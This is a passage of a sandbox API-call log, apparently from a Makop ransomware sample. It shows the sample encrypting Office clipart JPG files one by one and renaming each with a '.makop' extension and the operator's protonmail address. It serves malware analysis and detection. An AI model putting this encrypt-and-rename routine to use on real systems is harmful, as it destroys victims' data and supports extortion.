lpOverlapped=0x0) returned 1 [0137.751] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.751] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.751] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.751] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.751] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.752] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.752] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16d08, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x16d08, lpOverlapped=0x0) returned 1 [0137.755] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16d10, dwBufLen=0x16d10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16d10) returned 1 [0137.756] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.756] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16d10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x16d10, lpOverlapped=0x0) returned 1 [0137.757] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.757] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x16de4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.757] SetEndOfFile (hFile=0xf0) returned 1 [0137.765] GetProcessHeap () returned 0x48a0000 [0137.765] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.765] GetProcessHeap () returned 0x48a0000 [0137.765] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.765] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.765] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.767] CloseHandle (hObject=0xf0) returned 1 [0137.767] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b75f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382968.JPG", cAlternateFileName="")) returned 1 [0137.768] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG") returned 63 [0137.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.769] GetProcessHeap () returned 0x48a0000 [0137.769] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.769] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.769] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.769] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0137.773] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.773] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.773] GetProcessHeap () returned 0x48a0000 [0137.773] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.773] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.773] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.773] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.773] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.773] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.774] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.774] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.774] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.774] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.774] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.774] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.774] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b75f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b75f, lpOverlapped=0x0) returned 1 [0137.777] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b760, dwBufLen=0x1b760 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b760) returned 1 [0137.778] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.781] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b760, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b760, lpOverlapped=0x0) returned 1 [0137.782] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.782] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.782] SetEndOfFile (hFile=0xf0) returned 1 [0137.790] GetProcessHeap () returned 0x48a0000 [0137.790] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.790] GetProcessHeap () returned 0x48a0000 [0137.790] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.790] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.790] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.792] CloseHandle (hObject=0xf0) returned 1 [0137.792] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1779f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382969.JPG", cAlternateFileName="")) returned 1 [0137.792] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG") returned 63 [0137.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.795] GetProcessHeap () returned 0x48a0000 [0137.795] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.795] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.795] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.795] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0137.799] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.799] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.799] GetProcessHeap () returned 0x48a0000 [0137.799] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.799] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.799] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.799] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.800] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.800] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.800] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.800] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.800] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.800] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.800] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.800] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.801] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1779f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1779f, lpOverlapped=0x0) returned 1 [0137.803] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x177a0, dwBufLen=0x177a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x177a0) returned 1 [0137.804] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.804] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x177a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x177a0, lpOverlapped=0x0) returned 1 [0137.805] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.805] SetEndOfFile (hFile=0xf0) returned 1 [0137.813] GetProcessHeap () returned 0x48a0000 [0137.813] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.813] GetProcessHeap () returned 0x48a0000 [0137.813] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.813] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.815] CloseHandle (hObject=0xf0) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15b94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382970.JPG", cAlternateFileName="")) returned 1 [0137.815] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG") returned 63 [0137.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.816] GetProcessHeap () returned 0x48a0000 [0137.816] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.816] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.817] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0137.821] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.821] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.821] GetProcessHeap () returned 0x48a0000 [0137.821] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.821] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.821] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.821] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.822] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.822] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.822] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.822] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.822] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.822] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.823] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.823] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x15b94, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x15b94, lpOverlapped=0x0) returned 1 [0137.826] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x15ba0, dwBufLen=0x15ba0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x15ba0) returned 1 [0137.827] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.827] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x15ba0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x15ba0, lpOverlapped=0x0) returned 1 [0137.828] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.828] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x15c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.828] SetEndOfFile (hFile=0xf0) returned 1 [0137.836] GetProcessHeap () returned 0x48a0000 [0137.836] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.836] GetProcessHeap () returned 0x48a0000 [0137.836] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.836] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.836] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.837] CloseHandle (hObject=0xf0) returned 1 [0137.837] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x190e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0384862.JPG", cAlternateFileName="")) returned 1 [0137.837] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG") returned 63 [0137.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.839] GetProcessHeap () returned 0x48a0000 [0137.839] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.839] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.839] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.840] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0137.845] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.845] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.845] GetProcessHeap () returned 0x48a0000 [0137.846] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.846] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.846] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.846] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, 